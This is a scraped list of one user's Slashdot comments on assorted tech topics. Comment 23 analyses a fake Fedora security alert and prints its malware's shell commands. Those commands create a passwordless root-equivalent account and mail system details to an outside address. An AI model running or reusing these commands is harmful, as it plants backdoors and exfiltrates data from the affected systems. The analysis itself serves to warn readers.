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  1. Re:From a Harvey Mudd mailing list on MIT Hackers Appropriate Caltech Cannon · · Score: 1

    Oh, wonderful, I screwed that up too. Feel free to moderate this mistake out of existence.

  2. From a Harvey Mudd mailing list on MIT Hackers Appropriate Caltech Cannon · · Score: 0, Redundant

    Subject: Caltech cannon Date: 28 March 06 19:56:34 PST To: [HMC internal mailing list] Howdy, Did anyone steal the Caltech cannon Monday night/Tuesday morning? They called and said it was stolen and were hoping it was here. Chris Sundberg Associate Dean of Students Harvey Mudd College (reposting this logged in to get it above default viewing threshold - damned moderation system...)

  3. Re:They can't show these IP addresses... on Debugging Microsoft.com · · Score: 1

    No, but your computer is. (SInfo identifies the version of nmap being used and the computer that's running it.)

  4. Re:10Mbits/s? really? on Debugging Microsoft.com · · Score: 2, Informative

    If you watch the system log on an OS X machine that's getting ping flooded, you'll note that it starts printing "Limiting icmp ping response from (large number) to 250 packets per second". It's entirely intentional.

  5. Re:But what about the firewire jack failing? on Settlement Proposed in iPod Class Action Suit · · Score: 1

    It is repairable. I've done so myself - it's a tricky bit of soldering, but by no means impossible.

  6. Re:POWER OVERWHELMING on Archon to be Revived · · Score: 1

    THE MERGING IS COMPLETE.

  7. Re:morituri te salutant on Profile of a Game Composer · · Score: 1

    Oh, ok. Thought you meant the title screen music.

  8. Re:morituri te salutant on Profile of a Game Composer · · Score: 1

    Where did you get the name "morituri te salutant"? I can't seem to find a reference to it anywhere.

  9. Re:bigger explination on LiveJournal Servers Go Down · · Score: 2, Informative

    InnoDB *is* MySQL.

  10. Frog Blast the Vent Core! on Marathon Trilogy Available for Free Download · · Score: 2, Funny

    Yay.

  11. Re:Ok, so where are the patches? on Security Holes Draw Linux Developers' Ire · · Score: 1

    The exploit, as distributed, has been modified to effectively hang the machine unless you're at the console. Look at the kill(0, SIGTERM) and you'll understand...

  12. Doesn't work? on Local Root Exploit in Linux 2.4 and 2.6 · · Score: 2, Interesting

    Segfaulted in sys_mmap2 when I tried it on a couple machines. For what it's worth.

  13. Re:It may fulfill all the sims needs... on Sims 2 Hacks Spread Like Viruses · · Score: 1

    ... They're everywhere!

  14. Re:0 seconds - I use locate on Desktop Search Engines Compared · · Score: 1

    Locate searches filenames, not content.

  15. Re:Gnu (MOD PARENT UP) on Desktop Search Engines Compared · · Score: 1

    Ooooh! Cool... I'll have to try that sometime.

  16. Re:Gnu on Desktop Search Engines Compared · · Score: 1

    And how long does it take you to grep through all your files? What grep doesn't have is indexing, and locate only searches through filenames. Wake me when you have a content/metadata index under Linux.

  17. Re:The Candy Man Can on Another Star Wars RTS in the Works · · Score: 1

    ground battles set in dessert... well, hmm. It's kind of like mud wrestling, but with pudding instead of mud.

  18. Re:Slashdot via Snail Mail? on What Do Court-Ordered Internet Bans Really Mean? · · Score: 1

    ... the First Post, I suppose?

  19. Re:Solution? Bounce with the 550 power. on China and its Relation With Spam · · Score: 4, Informative

    For what it's worth, the Chinese government treats Falun Dafa / Falun Gong the same way you'd expect to treat a militant group.

  20. Re:Need a notation program on Linux and Music Composition · · Score: 1

    Lilypond + denemo = notation happiness. (Lilypond is like LaTeX for music.)

  21. Re:Slashdot vs Firefox on Firefox News Roundup · · Score: 1

    Easiest fix: turn on Lite Mode. Makes most of the annoying themes go away, too.

  22. Re:Source code! on Beware 'Fedora-Redhat' Fake Security Alert · · Score: 1
    Nope.

    inst.c is the core of the program; fileutils-patch.bin is chaff - it isn't used.

  23. Here's my analysis on Beware 'Fedora-Redhat' Fake Security Alert · · Score: 1, Redundant

    What a coincidence - I just analysed the same thing, having seen it through Full-Disclosure. Here's the critical section:

    echo "Inca un root frate belea: " >> /tmp/mama
    adduser -g 0 -u 0 -o bash >> /tmp/mama
    passwd -d bash >> /tmp/mama
    ifconfig >> /tmp/mama
    uname -a >> /tmp/mama
    uptime >> /tmp/mama
    sshd >> /tmp/mama
    echo "user bash stii tu" >> /tmp/mama
    cat /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null
    rm -rf /tmp/mama

    In other words, it'll create a root-equivalent user called 'bash' and mailing some system info to root@addlebrain.com.

  24. Re:Linux is fine on the business desktop on Moving to the Linux Business Desktop · · Score: 3, Informative

    Most businesses I've seen use networked HP Laserjet printers for their laser printing. These printers are just about as standard (and Linux-compatible) as you can get. No drivers (other than a network card driver which you should already have) necessary.

  25. Re:IBM on IBM Shipping More PCs with Trust Chips · · Score: 1
    Yes, and the iTMS DRM (Fairplay) is some of the weakest DRM on the market, save DVDCSS. There's software out there - Hymn - that can convert a m4p (iTMS-protected AAC) to m4a (unprotected AAC) given the key, which can be extracted from an iPod or generated on a Windows machine. That, and you can burn music to a CD and rip it from there.

    Compared to a lot of the other DRM on the market, Apple's is little more than a nod in the direction of the RIAA.